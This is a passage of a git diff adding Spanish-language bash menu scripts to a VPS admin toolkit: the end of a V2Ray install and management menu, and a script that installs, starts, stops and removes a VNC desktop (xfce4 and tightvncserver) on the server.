V2RAY") \033[1;32m[NEW-ADM]" +echo -e "$barra" +while true; do +echo -e "${cor[4]} [1] > ${cor[5]}$(fun_trans "INSTALAR V2RAY")" +echo -e "${cor[4]} [2] > ${cor[5]}$(fun_trans "MENÚ V2RAY")" +echo -e "${cor[4]} [3] > ${cor[5]}$(fun_trans "INSTALAR TLS")" +echo -e "${cor[4]} [4] > ${cor[5]}$(fun_trans "V2RAY INFO")" +echo -e "${cor[4]} [5] > ${cor[0]}$(fun_trans "SALIR")" +echo -e "${cor[4]} [0] > ${cor[0]}$(fun_trans "VOLVER")\n${barra}" +while [[ ${opx} != @(0|[1-5]) ]]; do +echo -ne "${cor[0]}$(fun_trans "Digite una Opcion"): \033[1;37m" && read opx +tput cuu1 && tput dl1 +done +case $opx in + 0) + menu;; + 1) + v2ray_ps + break;; + 2) + v2ray + break;; + 3) + v2ray tls + break;; + 4) + v2ray info + break;; + 5) + exit;; + +esac +done +} +corregir_fun \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/vnc b/ADM-VENTAS-LEALDROID/request/vnc new file mode 100644 index 0000000..a665a27 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/vnc @@ -0,0 +1,99 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +AIP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +if [[ "$AIP" = "" ]]; then +AIP=$(wget -4qO- "http://whatismyip.akamai.com/") +fi +if [[ "$AIP" = "" ]]; then +AIP="192.168.0.1" +fi +while true; do +clear +if [ -e /etc/adm/bnr ]; then +/etc/adm/bnr +fi +cowsay -f eyes "esta herramienta crea un panel de tu O.S para usarlo como ordenador...." | lolcat +figlet ..dankelthaher.. | lolcat +echo -e "\033[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\033[0m" +echo -e "\033[1;34mLA INSTALACION PUEDE DEMORAR ALGUNOS MINUTOS\033[0m" +echo -e "\033[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\033[0m" +echo -e "\033[1;34mRECUERDA QUE DEVES DESCARGAR E INSTALAR LA APLICACION\033[0m" +echo -e "\033[1;34m DE VNC VIWER DESDE PLAYSTORE\033[0m" +echo -e "\033[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\033[0m" +echo -e "\033[1;31m[ 0 ] SALIR\033[0m" +echo -e "\033[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\033[0m" +echo -e "\033[1;32m[ 1 ] \033[1;36mInstalar VNC\033[0m" +if [ -d /root/.vnc/ ];then +vnc=$(ls /root/.vnc/ | grep :1.pid) +else +vnc="" +fi +if [ "$vnc" = "" ]; then +echo -e "\033[1;32m[ 2 ] \033[0;32mConectar \033[1;36mVNC\033[0m" +else +echo -e "\033[1;32m[ 2 ] \033[1;31mparar\033[1;36m VNC\033[0m" +fi +echo -e "\033[1;32m[ 3 ] \033[1;37mRemover \033[1;36mVNC\033[0m" +echo -e "\033[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\033[0m" +read -p "OPCION: " resposta +case $resposta in +1) +break +;; +2) +break +;; +3) +break +;; +0) +break +exit +;; +*) +clear +;; +esac +done + + +if [[ "$resposta" = '1' ]]; then +echo -e "\033[1;33m" +sleep 1s +apt-get install xfce4 xfce4-goodies gnome-icon-theme tightvncserver +sleep 1s +apt-get install iceweasel +sleep 1s +echo -e "\033[1;34m ESCOJA UNA CONTRASEÑA y DESPUÉS CONFIRMA\033[1;32m" +sleep 3s +vncserver +echo -e "\033[1;33m" +apt-get install firefox -y +echo -e "\033[1;34m VNC se conecta usando la ip de vps en puerto 5901\033[1;32m" +echo -e "\033[1;34m Exemplo: $AIP:5901\033[1;32m" +echo -e "\033[1;34m Para aceder a interface gráfica\033[1;32m" +echo -e "\033[1;34m Descargue de PLAYSTORE la app de VNC VIWER\033[1;32m" +echo -e "\033[1;34m Coloque su Ip $AIP y su puerto 5901\033[0m" +read -p "enter" +/bin/VNC +fi + +if [[ "$resposta" = '2' ]]; then +if [ "$vnc" = "" ]; then +vncserver +else +vncserver -kill :1 +fi +/bin/VNC +fi + +if [[ "$resposta" = '3' ]]; then +apt-get remove xfce4 xfce4-goodies gnome-icon-theme tightvncserver -y +apt-get remove iceweasel -y +apt-get remove firefox -y +vncserver -kill :1 +vncserver -kill :2 +vncserver -kill :3 +/bin/VNC +fi